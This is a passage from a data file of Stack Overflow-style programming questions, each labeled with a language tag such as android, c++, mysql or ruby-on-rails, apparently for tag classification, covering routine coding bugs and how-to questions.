= vec(d  { a :1   b :0} </code></pre>   then v1 == v2    could someone help me out on this last one please.,python
why is this error:  error:(18  39) string types not allowed (at  australia_marginend  with value  8dp  ).  coming every single time   i accidentally added a double quote ( ) at the end of a value in my dimens.xml file. i tried to fix it by removing those double quotes from those lines of code. i even tried removing the whole file  but after restarting android studio  whenever the gradle build finishes  it automatically adds up where it was.    <a href= https://i.stack.imgur.com/glj9n.png  rel= nofollow noreferrer >errors.</a>   <blockquote>    error:(18  39) string types not allowed (at  australia_marginend  with   value  8dp  ). error:(18  39) string types not allowed (at    australia_marginend  with value  8dp  ). error:execution failed for   task  :app:processdebugresources .       <blockquote>      com.android.ide.common.process.processexception: failed to execute aapt    </blockquote> </blockquote>   <a href= https://i.stack.imgur.com/6mrau.png  rel= nofollow noreferrer >lines of code where i m getting errors.</a>   <pre><code>&lt;dimen name= australia_marginbottom &gt;8dp&lt;/dimen&gt; &lt;dimen name= australia_marginend &gt;8dp &lt;/dimen&gt; &lt;dimen name= australia_marginleft &gt;8dp &lt;/dimen&gt; &lt;dimen name= australia_marginright &gt;8dp &lt;/dimen&gt; &lt;dimen name= australia_marginstart &gt;8dp &lt;/dimen&gt; &lt;dimen name= australia_margintop &gt;256dp&lt;/dimen&gt; </code></pre>,android
wizard with jquery accordion  previous / next buttons  i m trying to make a wizard inside a accordion. look at my code:    <a href= http://jsfiddle.net/ndnce/2/  rel= nofollow >http://jsfiddle.net/ndnce/2/</a>    what am i doing wrong  i want the previous and next button on each accordion element.,jquery
is there any way to create a listener to accept the errors in the patternlock in gingerbread   iam trying to create an app without editing the android os in such a way to notify my app whenever the user enters the patten wrong. is this possible. i was thinking about using a listener that listens to the log of the phone. i am not sure this will work though because iam quite a beginner in android.,android
redirects to page then goes to home page in html  i am trying to link from one part of the page to another using a href links.   <pre><code> &lt;div id= something &gt;     &lt;div class= toolbar &gt;         &lt;h1&gt;product information&lt;/h1&gt;         &lt;a class= button back  href= # &gt;back&lt;/a&gt;         &lt;a class= button slideup  href= #product &gt;+&lt;/a&gt;     &lt;/div&gt;     &lt;div&gt;         &lt;a href= #product  rel= external &gt;&lt;img class= content  src= dress1.jpg  title= pic1 /&gt;&lt;/a&gt;     &lt;/div&gt; &lt;/div&gt;  &lt;div id= product &gt;     &lt;div class= toolbar &gt;         &lt;h1&gt;product&lt;/h1&gt;         &lt;a class= button back  href= # &gt;back&lt;/a&gt;     &lt;/div&gt;     &lt;div&gt;         &lt;img class= content  src= dress2.jpg  title= pic1 /&gt;     &lt;/div&gt; &lt;/div&gt; </code></pre>   when i click on the picture dress1 in #something it should go to #product and stay there until instructed otherwise. unfortunately straight away its going back to #something    does anyone know whats wrong     what it does: i m using jqtouch (hence the animations -button slide up etc) and all i want is that one image appears on the screen (something part of the page) and once its clicked the product part of the page appears.    thanks! c.    btw im using safari!,html
using kvo to track a change in count of nsarray  my app uses multi peer connectivity to send files to other devices in ios7. with this framework more than one device can connect to the mcsession  and there is a specific array that gives us the count of the number of devices connected. i want to be notified when there is a change to this count  but i don t seem to understand how to make the array kvo compliant  even if i so numerous internet links and questions. the problem is that this array is controlled externally:   <pre><code>[session connectedpeers]; </code></pre>   to get the count i do:   <pre><code>nsarray* array = [session connectedpeers]; array.count </code></pre>   but it is not the array which changes  rather the [session connectedpeers];    how can i track this change,ios
email address splitting  so i have a string that i need to split by semicolon s    email address: <code> one@tw; . o @hotmail.com; some;thing @example.com</code>    <strong><em>both of the email addresses are valid</em></strong>    so i want to have a <code>list&lt;string&gt;</code> of the following:   <ul> <li> one@tw; . o @hotmail.com</li> <li> some;thing @example.com</li> </ul>   but the way i am currently splitting the addresses is not working:   <pre><code>var addresses = emailaddressstring.split(new[] {  ;  }  stringsplitoptions.removeemptyentries)                 .select(x =&gt; x.trim()).tolist(); </code></pre>   because of the multiple <code>;</code> characters i end up with invalid email addresses.    i have tried a few different ways  even going down working out if the string contains quotes and then finding the index of the <code>;</code> characters and working it out that way  but it s a real pain.    does anyone have any better suggestions,c#
layout_below not working with coordinatorlayout android  this is my layout file.   <pre><code>&lt; xml version= 1.0  encoding= utf-8  &gt;  &lt;android.support.design.widget.coordinatorlayout     xmlns:android= http://schemas.android.com/apk/res/android      xmlns:app= http://schemas.android.com/apk/res-auto      xmlns:tools= http://schemas.android.com/tools      android:id= @+id/coordinatorlayout      android:layout_width= match_parent      android:layout_height= match_parent      tools:context= .activityproductlist &gt;      &lt;android.support.v7.widget.toolbar         android:id= @+id/toolbar          android:layout_width= match_parent          android:layout_height= wrap_content          android:layout_alignparenttop= true          android:background= @color/primary          android:elevation= 6dp          android:minheight=  attr/actionbarsize          android:theme= @style/themeoverlay.appcompat.dark.actionbar          app:popuptheme= @style/themeoverlay.appcompat.light /&gt;       &lt;expandablelistview         android:id= @+id/listviewproduct          android:layout_width= fill_parent          android:layout_height= fill_parent          android:paddingleft= 25dip          android:groupindicator= @drawable/setting_selector          android:divider= #ffcc00          android:dividerheight= 2px          android:background= @color/windowbackground          android:layout_below= @+id/toolbar          android:paddingtop= 20dp          /&gt;      &lt;android.support.design.widget.floatingactionbutton         xmlns:app= http://schemas.android.com/apk/res-auto          android:id= @+id/fab          android:layout_width= wrap_content          android:layout_height= wrap_content          android:layout_gravity= end|bottom          android:clickable= true          android:src= @drawable/cart          android:layout_margin= 16dp          app:elevation= 6dp  /&gt;  &lt;/android.support.design.widget.coordinatorlayout&gt; </code></pre>   i want to set all 3 elements vertically. but they are overlapping in current layout.    layout_below doesn t seems to work here.    how to fix the issue,android
objective c: for in iterating but excluding object in array  how can i iterate through an array for two objects to compare them  but at the second iteration (for obj2) i want to exclude comparing the object (obj1) that already was found to match  in other words  i don´t want them to both find the same object.   <pre><code>for (object *obj1 in array)      if (obj1 ==  this ) //run next iteration     for (object *obj2 in array)     // if (obj2 == @ this );    </code></pre>,objective-c
floating point exception <pre><code>#include &lt;cstdio&gt; #include &lt;ctime&gt;  int populate_primes(int array[]) {        const int max = 1000000;      char numbers[max+1];     int count=1;     array[0]=2;     for(int i=max;i&gt;0;i-=2)numbers[i]=0;     for(int i=max-1;i&gt;0;i-=2)numbers[i]=1;     int i;       for(i=3;i*i&lt;=max;i+=2){         if(numbers[i]){             for(int j=i*i;j&lt;max+1;j+=i)numbers[j]=0;            array[count++]=i;         }     }     int limit = max/2;     for(;i&lt;limit;i++)   if(numbers[i])array[count++]=i;     return count; }  int factorize(int number int array[]) {     int i=0 factor=1;     while(number&gt;0){         if(number%array[i]==0){             factor++;             while(number%array[i]==0)number/=array[i];         }         i++;     }     printf( %d\n  factor);     return factor; } int main() {     int primes[42000];     const int max = 1000000;     int factors[max+1];     clock_t start = clock();     int size = populate_primes(primes);     factorize(1000 primes);     printf( execution time:\t%lf\n  (double)(clock()-start)/clocks_per_sec);     return 0; } </code></pre>   i am trying to find the no. of factors using simple algo. the populate primes part is running okay   but the factorize part does not execute and gives the floating point exception error.    please see the code and tell my mistake.,c++
issue with combined use of watchos connectivity and watch scene segues  i have a working watchos app that uses watch connectivity  however whenever i try to add a segue and a secondary interface controller the watch no longer has a connected session. the issue really seems to stem from the segue. deleting the segue makes it work again...    what am i not understanding about how segues work and how can i use segues and still have the connection working,ios
send mail from asp.net in background  i am developing a website in which i need to send a mail to the client after he presses the submit button.but secondly i dont want the client to wait until the mail is sent and then he is advanced to the next page. as soon as he presses the submit button he should be redirected to next page while in the background the mail is being sent.    i have tried sending mail asynchronously.in the code below  it sends the mail.when the operation completes it redirects the client to about.aspx.   <pre><code>    mailmessage m = new mailmessage();     mailaddress emailsender = new mailaddress(senderemail.text   user );     m.from = emailsender;     mailaddress recipient = new mailaddress(dest.text);     m.to.add(recipient);     m.body = message.text.tostring();     m.subject = subj.text;     smtpclient client = new smtpclient();     //add the creddentials- use your own email id and password      client.credentials = new system.net.networkcredential(senderemail.text password.text);      client.port = 587; // gmail works on this port     client.host =  smtp.gmail.com ;     client.enablessl = true; //this enables the ssl     object usertoken=m;     client.sendcompleted += new sendcompletedeventhandler(client_sendcompleted);      try     {         client.sendasync(m  usertoken);     }     catch (exception ex)     {         exception ex2 = ex;         string errormessage = string.empty;         while (ex2 != null)         {             errormessage += ex2.tostring();             ex2 = ex2.innerexception;         }         httpcontext.current.response.write(errormessage);     } // end try    void client_sendcompleted(object sender  system.componentmodel.asynccompletedeventargs e) {     mailmessage mail = e.userstate as mailmessage;     response.redirect( about.aspx );      if (!e.cancelled &amp;&amp; e.error != null)     {         lblmessage.text =  mail sent successfully ;     }  } </code></pre>,asp.net
simple question about iterating 2 arrays in objective-c  i m iterating a nsarray in objective-c with:   <pre><code>for (id object in array1) {   ... } </code></pre>   i now have another array2  and i need to access with the same index of the current array1.    should i use another for statement      thanks,objective-c
length of whitespace after trimming it  i am working on sql. i have a situation here where i need to check whether the length of a particular column (warningnote) is zero or not. based on it i have to give values to the output column.  the problem that i face is  for a particulare id  the warningnote columns is displaying a blank field. i did a ltrim and rtrim on the that value and took the length of the column expecting it give 0 as the answer. but the answer displayed is 2.  my doubt is when i do ltrim and rtrim on white space  and take the length of the field  then it should be zero right. can anyone help me on this,sql
loop through char array line by line  i know how to loop through a file line by line by reading into a file* using fopen  fgets etc  but how can i look through a char array line by line using plain c  i have googled a lot an can only find stuff that reads from a file.,c
which method is used to generate  application.config.secret_token =  ...     in rails 3.2  every app s <code>config/secret_token.rb</code> has a <code>secret_token</code>:   <pre><code>projectname::application.config.secret_token =  c9d1a7ea24444ddf06e4b52a7a08174fc9bc7483727b8ec674d6360f2fb93db007114971feeb1e0f69d6dda595dafb30956b057962aad44a137295128a6d23c0   </code></pre>   i am curious that which method <code>rails</code> used to generate the 128-bit code: <code>c9d1a7ea24444ddf06e4b52a7a08174fc9bc7483727b8ec674d6360f2fb93db007114971feeb1e0f69d6dda595dafb30956b057962aad44a137295128a6d23c0</code> . i tried <code>securerandom</code>  but it seems not have such method,ruby-on-rails
validate parameter for 0 or 1  i have a parameter <code>num</code> of <code>int</code> type  where the user can give it one of two values: <code>0</code> or <code>1</code>.<br> i can check it using the obvious:   <pre><code>if (num &lt; 0 || num &gt; 1)     print( the parameter value is incorrect.\n ); </code></pre>   but i was wondering if there was a better (faster  less code ) to do this     <strong>edit</strong><br> this is some data flow code  so performance is of the essence. i am looking for a faster way to run this check.    thanks,c
getting a select multiple element to have a drop down button  i notice that if you add multiple to a select element then all of  the options are shown  while without <code>multiple</code> the element has a drop down button. i would like to have the drop down button and then be able to select multiple items from the drop down list.  is this possible     there s a jsfiddle here: <a href= http://jsfiddle.net/z6kwr/3/  rel= nofollow >http://jsfiddle.net/z6kwr/3/</a>    <pre><code>&lt;select id= delete_dropdown  multiple&gt;     &lt;option value= 1 &gt;1&lt;/option&gt;     &lt;option  value= 2 &gt;2&lt;/option&gt;     &lt;option  value= 3 &gt;3&lt;/option&gt;     &lt;option  value= 4 &gt;4&lt;/option&gt;     &lt;option value= 5 &gt;5&lt;/option&gt;     &lt;option  value= 6 &gt;6&lt;/option&gt;     &lt;option  value= 7 &gt;7&lt;/option&gt;     &lt;option  value= 8 &gt;8&lt;/option&gt; &lt;/select&gt; </code></pre>   thanks,html
select first created child for parent  i m attempting to select the first <code>quote</code> that a <code>contact</code> has created to modify it yet i m not quite sure how to do so and i ve been trying for a while. the sql tables look like this:   <pre><code>quotes  id | name | value | date_entered  contacts  id | first_name | last_name | notes  quotes_contacts  id | quote_id | contact_id </code></pre>   so i want to get a list of all of the quotes that where created first for a contact if that makes any sense so we can list each customers first quote.    i m using mysql,mysql
predicate in array  i have an array which contains lots of info like lat lon city name etc.but all this info stored by class object.   <pre><code>( &lt;getcitylist: 0x1fd334d0&gt;    &lt;getcitylist: 0x1fd33560&gt;    &lt;getcitylist: 0x1fd33310&gt;  ) </code></pre>   my array is looking like this.if i want city name then first i create getcitylist object and then object.cityname. now i have to search lat and lon by comparing cityname.so how can i do because it consumes too much time can i use predicate  how,iphone
firebase crash report uploading error  i am integrating firebase crash reports without cocoa pods in ios. i am getting the error. can anyone help me to resolve this     firebase crash reporting: failed to transmit crash: error domain=com.google.firebasecrash code=1  upload failed  userinfo={nslocalizeddescription=upload failed  nslocalizedfailurereason=http error code 400:  { url: <a href= https://mobilecrashreporting.googleapis.com/v1/crashes:batchcreate key=aizasyamao91fuyolsvhibsso9u4bwoy9phbdsm&amp;alt=json  rel= nofollow >https://mobilecrashreporting.googleapis.com/v1/crashes:batchcreate key=aizasyamao91fuyolsvhibsso9u4bwoy9phbdsm&amp;alt=json</a> } { status code: 400  headers {      cache-control  = private;      content-encoding  = gzip;      content-length  = 123;      content-type  =  application/json; charset=utf-8 ;     date =  mon  13 jun 2016 17:01:01 gmt ;     server = esf;     vary =  origin  x-origin  referer ;      alt-svc  =  quic=\ :443\ ; ma=2592000; v=\ 34 33 32 31 30 29 28 27 26 25\  ;      alternate-protocol  =  443:quic ;      x-content-type-options  = nosniff;      x-frame-options  = sameorigin;      x-xss-protection  =  1; mode=block ; } }},ios
set up rails routes based on associated records  i have (2) models item and item_type.    item has_one :item_type    the item_type schema:   <pre><code>  create_table  item_types   force: true do |t|     t.string    title      t.integer   item_id  &lt;---     t.datetime  created_at      t.datetime  updated_at    end </code></pre>   i want to set up a route like so <code>/:item_type.title/</code> and showcase all the items associated with that item_type.,ruby-on-rails
.net string.reverse length value  can anyone tell me why the length of the string returned by the below method is always 60  this is a c# method in a console application.   <pre><code>static string reverse(string stringtoreverse) {     string s = stringtoreverse.reverse().tostring();     return s; } </code></pre>   we ask interview candidates to write a method to reverse a string as part of the job hire process. this is one answer that we got. the length issue has us wondering.,.net
when to use private method in rails   i m not entirely sure about the concept of private method in rails  and when and how to use it. are there any rules  what are the differences between private vs public  vs protected  for example  in the following example  why is private method being used here instead of the other two methods. is it best practice to always use private method for user generated input  please enlighten me. many thanks!   <pre><code>class postscontroller &lt; applicationcontroller  def index   @posts = post.all.order( created_at desc ) end  def new  @post = post.new end  def create  @post = post.new(post_params)   if @post.save  redirect to @post  else   render  new   end end  def show   @post = post.find(params[:id]) end  private  def post_params   params.require(:post).permit(:title  :body)  end end </code></pre>,ruby-on-rails
error: no match for  operator[]  in... <near match>  this fail to compile in gcc 4.1.2 / redhat 5 :   <pre><code>#include &lt;string&gt; #include &lt;vector&gt; #include &lt;map&gt;  class toto { public:     typedef std::string segmentname; };  class titi { public:     typedef toto::segmentname segmentname; // import this type in our name space     typedef std::vector&lt;segmentname&gt; segmentnamelist;     segmentnamelist segmentnames_;     typedef std::map&lt;segmentname  int&gt; segmenttypecontainer;     segmenttypecontainer segmenttypes_;      int getnthsegmenttype(unsigned int i) const {         int result = -1;         if(i &lt; segmentnames_.size())        {            segmentname name = segmentnames_[i];            result = segmenttypes_[ name ];        }        return result;     } }; </code></pre>   the error is :   <pre><code>error: no match for  operator[]  in  (...)segmenttypes_[name]  /usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/stl_map.h:340: note: candidates are: _tp&amp; std::map&lt;_key  _tp  _compare  _alloc&gt;::operator[](const _key&amp;) [with _key = std::basic_string&lt;char  std::char_traits&lt;char&gt;  std::allocator&lt;char&gt; &gt;  _tp = int  _compare = std::less&lt;std::basic_string&lt;char  std::char_traits&lt;char&gt;  std::allocator&lt;char&gt; &gt; &gt;  _alloc = std::allocator&lt;std::pair&lt;const std::basic_string&lt;char  std::char_traits&lt;char&gt;  std::allocator&lt;char&gt; &gt;  int&gt; &gt;] </code></pre>   why   the map is rather straightforward. i guess this has to do with the typedefs  but what is wrong           [edit] even if i remove all the <code>typedefs</code> and use <code>std::string</code> everywhere  the problem persists... am i misusing maps,c++
"undefined variable  encrypt/decrypt  hey i am trying to make a simple encrypt/decrypt javascript. i am having a lot of trouble using variables from my first function into the second function.    the first function encrypts    2nd function decrypts    problem: i cannot use the variables i used in my first function. for example for  encoded  it keeps returning undefined! i attached my short code under.    <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-js lang-js prettyprint-override ><code>var encoded;
 function code(string  pass)
 {
     array=[]
     for (var i = 0; i&lt;string.length; i++)
     {
         //converts code into an array &amp; unicode
         b = (string.charcodeat(i))
         array.push(b)
     }
     //encovder
     let encoded = array.map(function(x)
     {
       return x*pass
     })
     return encoded
 }
 (code( hello  7))
 
 //decode
 function decoded()
 {
     console.log(encoded)
 }
 console.log(decoded())</code></pre>
 </div>
 </div>",javascript
how to use a count function in map in c++ <pre><code>#include&lt;iostream&gt; #include&lt;algorithm&gt; #include&lt;cstdio&gt; #include&lt;map&gt; #include&lt;vector&gt; using namespace std; struct cno{     int sub[5]; }; int main() {     int n;     map&lt;cno int&gt; s;     int maxn = -1;     struct cno k;     while(scanf( %d  &amp;n) &amp;&amp; n){         for(int i = 0;i&lt;5;i++){             cin&gt;&gt;k.sub[i];         }         if(!s.count(k)){   //error in this line.             s[k] = 1;             maxn = max(maxn 1);         }         else{             int m = s[k] + 1;             s[k] = m;             maxn = max(maxn m);         }     }     return 0;    } </code></pre>   in this code while searching for a struct variable k by using count i get this error.   <pre><code>‘const cno’ is not derived from ‘const std::reverse_iterator&lt;_iterator&gt;’        { return __x &lt; __y; } </code></pre>   how can we use the count function in c++ what values do count function return,c++
trying to implement multiple conditional operator  i m trying to implement multiple conditional operator but issue is that always if condition is true.    my requirement is     if <code>headername[ci]==  yellow </code>.    and <code>objnamewritten[ci]==  banana  or objnamewritten[ci] ==  sun  or objnamewritten[ci] ==  lemomn </code>.     then popup(<code>ppup</code>) will open  if there is any other <code>objnamewritten[ci]</code> then popup(<code>ppup1</code>) will open.   <pre><code>private void common() {     if (headername[ci]==  yellow )     {         if ((objnamewritten[ci]==  banana  | objnamewritten[ci] ==  sun )|(objnamewritten[ci] ==  lemomn  | objnamewritten[ci] ==  sun ))         {             ppup.height = window.current.bounds.height;             ppup.isopen = true;         }         else         {             ppup1.height = window.current.bounds.height;             ppup1.isopen = true;         }     } } </code></pre>,c#
how can i change from input to label in angularjs based on authorization  i have an existing application with some input fields. now i need to change the input to label depending on user authorization. for e.g  i need to display it as input itself if the user have admin role  if not i need to display as label. i know it can be done using ng-switch or ng-if  in that case i will need to make changes in all fields. what i m looking for is a solution with minimal changes  say declaring a directive and add it to all input fields. and in runtime i can get the user role from service.    is there any solution for that  may be something with http interceptor.    please help.    i declared one directive as below    <pre><code>alphamodule.directive( alphafield   function() {     return {         restrict :  e           template :  &lt;span &gt;{{ model }}&lt;/span&gt;                  +  &lt;input type= type  class= alphaclass  ng-model= model  $scope.required minlength= minlength /&gt;           scope : {             model :  =model               type:  =type               alphaclass:  &amp;alphaclass               minlength:  =minlength               required:  =required          }          controller : function($scope) {}     }; }); </code></pre>   then in the page    <pre><code>&lt;alpha-field model= event.description  type= text  alphaclass= form-control   minlength= 5  required= required  &gt;&lt;/alpha-field&gt; </code></pre>   after doing this  the model is binding correctly. but not other values like class  type etc...,angularjs
matching the index of username and index of password in java  i want to match the username  carl  to the password  0001   as well as the other elements  but it s not working. can anyone explain me how to match each elements of  username  to the elements of  password   thank you very much! this is my code:   <pre><code>class log{     bufferedreader br= new bufferedreader(new inputstreamreader(system.in));     string [] username ={ carl    may    joseph    oliver    ashley };     string []password={ 0001    0002    0003    0004    0005 };      public void login() throws ioexception{     system.out.print( \nusername:  );     uname=br.readline();     system.out.print( password:  );     pword=br.readline();      for (j = 0; j &lt;= 4; j++) {          if (username[j].equals(password[j])) {            uname=username[j];            pword=password[j];     }           } while((!uname.equals(password[j]))&amp;&amp;(!pword.equals(username[j]))){     system.out.println( invalid username/password. );     system.out.print( \nusername:  );     uname=br.readline();     system.out.print( password:  );     pword=br.readline(); }  public void main(string[] args)throws ioexception {        log b=new log();        b.login(); } </code></pre>,java
remove first number from column mysql  i have a column that just has 4 numbers and i want to remove the first. i run a update query i found on here but it says no columns affected.    <pre><code> update mytable  set mycol = trim(leading  [0-9]  from mycol) </code></pre>   i don t get an error when i run it just does not do anything.,mysql
iphone dev mp3 file not playing using av audio player  i am trying to play an mp3 audio file  the file will be uploaded by user on web server and i will get the url of that file and then i have to play that file but i am not succeeding in it. here is my code    nsurl *url = [nsurl urlwithstring:url1];         nsdata *thedata = [nsdata datawithcontentsofurl:url];         newplayer = [[avaudioplayer alloc] initwithdata:thedata error:nil];         [newplayer play];    the url is like this    <a href= http://mqm.designers99.com/notification/mp3_files/1331551313_1919.mp3  rel= nofollow >http://mqm.designers99.com/notification/mp3_files/1331551313_1919.mp3</a>    plz. guide me coz i am stuck here  thanx and regards,iphone
similar binary trees  i have written the following function to check of two b-trees are similar or not. but i am not getting the desired output.   <pre><code>int bt_similar(btree *b1  btree *b2) {     int m=1;     if ((b1-&gt;data==b2-&gt;data&amp;&amp;(((b1-&gt;lchild==null&amp;&amp;b2-&gt;lchild==null)||(b1-&gt;lchild!=null&amp;&amp;b2-&gt;lchild!=null))&amp;&amp;((b1-&gt;rchild==null&amp;&amp;b2-&gt;rchild==null)||(b1-&gt;rchild!=null&amp;&amp;b2-&gt;rchild!=null))))&amp;&amp;(m))     {         if (b1-&gt;lchild!=null)         m=bt_similar(b1-&gt;lchild b2-&gt;lchild);         if (b1-&gt;rchild!=null)         m=bt_similar(b1-&gt;rchild b2-&gt;rchild);         if (m)         return 1;     }     return 0; } </code></pre>,c++
using text box value as php variable  i am using a java script calender date picker in my php form <br> it gives date in a text box. i want to use the text box value as a variable in php so that to use it in echo    for example:<br> my date picker is :-   <pre><code>echo  &lt;input type=text id=examplev name=dateiv maxlength=10 /&gt; ; </code></pre>   the date picker is working fine    i want that date which comes in text box should be used as php variable    plz help,php
in sql  what does all select top 1 null null do   i have this end of sql query that i don t understand: <code>union all select top 1 null null</code>    could someone explain it step by step     cheers,sql
how to repeat the header template in gridivew   in asp.net  i am using gridview for displaying the data. in gridview i am displaying 300 records at a time. now i want to display the header template after every 30 rows in gridview is it possible  can you help me. thank you. i write like this in gridview_rowdatabound.   <pre><code>     gridviewrow row = new gridviewrow(e.row.rowindex  0  datacontrolrowtype.header  datacontrolrowstate.normal);           tablecell cell = new tablecell();         cell.controls.add(new label { text =  header  }); //as needed                       row.cells.add(cell);         cell = new tablecell();         cell.controls.add(new label { text =  name  }); //as needed                       row.cells.add(cell);          cell = new tablecell();         cell.controls.add(new label { text =  add  }); //as needed                       row.cells.add(cell);          cell = new tablecell();         cell.controls.add(new label { text =  nice  }); //as needed                       row.cells.add(cell);          table tbl = (e.row.parent as table);          tbl.controls.addat(e.row.rowindex * 3 + 1  row);    </code></pre>   when i place  tbl.controls.addat(e.row.rowindex * 2 + 1  row);   it is working when i place more than 2 like 3  4 like this  then it is throing error.    thank you for all i solve the problem:    <pre><code>    if (e.row.rowtype == datacontrolrowtype.datarow)         {         if (e.row.rowindex == 0)         {             viewstate[ i ] = e.row.rowindex;         }          if (convert.toint32(viewstate[ i ].tostring()) == e.row.rowindex)         {              gridviewrow row = new gridviewrow(e.row.rowindex  0  datacontrolrowtype.header  datacontrolrowstate.normal);             tablecell cell = new tablecell();             cell.backcolor = system.drawing.color.burlywood;             cell.controls.add(new label { text =  header  }); //as needed                           row.cells.add(cell);              cell = new tablecell();             cell.backcolor = system.drawing.color.burlywood;             cell.controls.add(new label { text =  name  }); //as needed                           row.cells.add(cell);              cell = new tablecell();             cell.backcolor = system.drawing.color.burlywood;             cell.controls.add(new label { text =  add  }); //as needed                           row.cells.add(cell);              cell = new tablecell();             cell.backcolor = system.drawing.color.burlywood;             cell.controls.add(new label { text =  nice  }); //as needed                           row.cells.add(cell);             int cnt = convert.toint32(viewstate[ i ].tostring());              table tbl = (e.row.parent as table);              //tbl.controls.addat(e.row.rowindex * cnt   row);              tbl.controls.addat(e.row.rowindex  row);                             cnt = cnt + 4;             viewstate[ i ] = cnt.tostring();          }      }  </code></pre>,asp.net
possible to get table columns to auto width to fill screen   i d like to have the width of my table 100% of screen width - so flexible to different screen sizes.    is it possible to have my columns automatically resize proportionately     i ve tried give the td s percentage widths but this doesnt seem to work  firebug shows that the tbody isnt filling the tables width    <pre><code>        &lt;table class=  &gt;             &lt;tr class= headings &gt;                 &lt;td class= entry &gt;                 &lt;/td&gt;                 &lt;td class= calendar &gt;availability calendar                 &lt;/td&gt;                 &lt;td class= deals &gt;last minute deals                 &lt;/td&gt;                  &lt;td class= ann &gt;announcements                 &lt;/td&gt;                 &lt;td class= banners &gt;banners                 &lt;/td&gt;             &lt;/tr&gt;           &lt;/table&gt; </code></pre>,css
displaying currency in gridview  i was wondering whether there would be anyway to format the grid view control that would display the pound symbol before the values. in the access database  there is a currency symbol  however  when attaching the database to the grid view  the data shows but without the currency symbol.     sorry for a poorly written description of my problem. thank you for your time.,asp.net
mysql concurrent select  insert  update  let s say i have one very large table such that a select * query takes more than 5 minutes (exaggerated for the example) and while that is running  an update happens on the first row of the table. if the global isolation level is read_replicated  does that make the update wait for the full select query to read all the rows  could the second transaction make an insert into the table while the select is running,mysql
how to create new date instance only by a day  in my rails project i want to get a <code>date</code> instance only by a day. year and month are used current value.    i could write like these:   <pre><code>day = 3 date = date.new(date.current.year  date.current.month  day) </code></pre>   and   <pre><code>date = date.current.beginning_of_month + (day - 1).days </code></pre>   how would you write function like this  is there a better implementation,ruby-on-rails
how to handle a click event only on  the element which is not hold the any other events   i need to make a show navigation click event to ipad apps  it means  wherever i click on the ipad  it should show the navigation. in case if the element contained the click event then  the event(containing event) has to trigger  and it should not call the navigation display..    simply i say  how can i find the element which contain the event or not  and direct accordingly  i don t have any idea about this...    i used the jquery s <code>:not([a=href])</code> function  but some where  my  div  element itself containing the click events. finally there is a full page  the total page itself has a click event... in that case how can i handle this issue...    can any one help me with good idea  please..,jquery
mysql query issue with left joining a table with the results of two other tables  i am trying to <code>select</code> data from one table with the results of the data that is coming out from <code>joining two different tables</code>  but i am getting an error and i can not figure it out:   <pre><code>select concat(firstname lastname) as staffname from `cms_users` right join (select distinct concat(a.firstname     a.lastname) as clientname  b.doa from `cms_clients` a inner join `cms_question_report` b on a.id = b.cid where b.doa &lt;  2015-04-15 23:00:00  and b.doa &gt;  2015-04-09 00:00:00 ) incidents </code></pre>   the error i am getting is:   <blockquote>    you have an error in your sql syntax; check the manual that   corresponds to your mysql server version for the right syntax to use   near  limit 0  30  at line 9  </blockquote>   but i don t even have a <code>limit 0 30</code> in my query.,mysql
cleanly writing numerous conditions against an optional input  suppose the user can enter all or part of a date { day  month  year }    each field is optional. they may enter just the day  or just the month  or the day and the month etc.    i then loop through a list of dates  and check if the dates match based on what the user entered (and depending on how much of it they entered):   <pre><code>input: {d = 20} checkdate: 2015/01/20 = true input: {d = 20} checkdate: 2015/01/15 = false input: {d = 20  month = 6} checkdate: 2015/06/20 = true input: {d = 20  month = 6} checkdate: 2015/01/20 = false input: {d = 20  month = 6  year = 2016} checkdate: 2016/06/20 = true input: {d = 20  month = 6  year = 2016} checkdate: 2015/06/20 = false </code></pre>   i can achieve this logic by checking every possible combination of input date against the check date like so:   <pre><code>    private bool isinputdatematch(inputdate inputdate  datetime date)     {         if (inputdate.day != 0 &amp;&amp; inputdate.month != 0 &amp;&amp; inputdate.year != 0)             return date.day == inputdate.day &amp;&amp; date.month == inputdate.month &amp;&amp; date.year == inputdate.year;          if(inputdate.day !=0 &amp;&amp; inputdate.month != 0)             return date.day == inputdate.day &amp;&amp; date.month == inputdate.month;         if (inputdate.day != 0 &amp;&amp; inputdate.year != 0)             return date.day == inputdate.day &amp;&amp; date.year == inputdate.year;         if (inputdate.month != 0 &amp;&amp; inputdate.year != 0)             return date.month == inputdate.month &amp;&amp; date.year == inputdate.year;          if (inputdate.day != 0)             return date.day == inputdate.day;         if (inputdate.month != 0)             return date.month == inputdate.month;         if (inputdate.year != 0)             return date.year == inputdate.year;          return true;     } </code></pre>   but this isn t very elegant.    when you encounter a logic situation like this (checking multiple conditions based on how much of something is provided)  how might it be written in a clean approach  can i perhaps generate the conditions required dynamically,c#
$(window).scrolltop using angular.element($window); in angularjs  i am trying to emulate this in angularjs with javascript:   <pre><code>$(window).scrolltop(     $scope.scrollpos[$location.path()]        $scope.scrollpos[$location.path()] : 0); </code></pre>   i know that i can replace $(window) with var windowelement = angular.element($window);    but is there a way that i can emulate the scrolltop functionality     for reference here s the code i using:   <pre><code>    $rootscope.scrollpos = {}; // scroll position of each view      $rootscope.scrollclear = function (path) {         $rootscope.scrollpos[path] = 0;     }      $rootscope.$on( $statechangestart           function (event  tostate  toparams  fromstate  fromparams) {             $rootscope.oksavescroll = false;     });      $rootscope.$on( $statechangesuccess           function (event  tostate  toparams  fromstate  fromparams) {             var windowelement = angular.element($window);             $timeout(function () { // wait for dom  then restore scroll position                 windowelement.scrolltop($rootscope.scrollpos[$location.path()]   $rootscope.scrollpos[$location.path()] : 0);                 $rootscope.oksavescroll = true;             }  0);         }) </code></pre>,angularjs
interview ques database query prob  i have two tables:   <pre><code>table no 1 employee emp_id | emp_name 1             | sumit 2             | hr1 3             | sunny 4             | bhupin 5             | abhishek 6             |lallan 7             | ashi 8             | hr2 </code></pre>   table2 emp_hr:   <pre><code>emp_id | emp_hr_id 1             | 8 2             | null 3             | 2 5             | 4 6             | 4 7             | 2 8             | null </code></pre>   i want output as by sql server query  which comes automatically pointing name according to id stores in table 2 which have name stored in table 1:   <pre><code>emp_name       | hr sumit          | hr2 hr1            | null sunny          | hr1 abhishek       | bhupin lallan         | bhupin ashi           | hr1 hr2            | null </code></pre>   can anybody solve this query.,sql
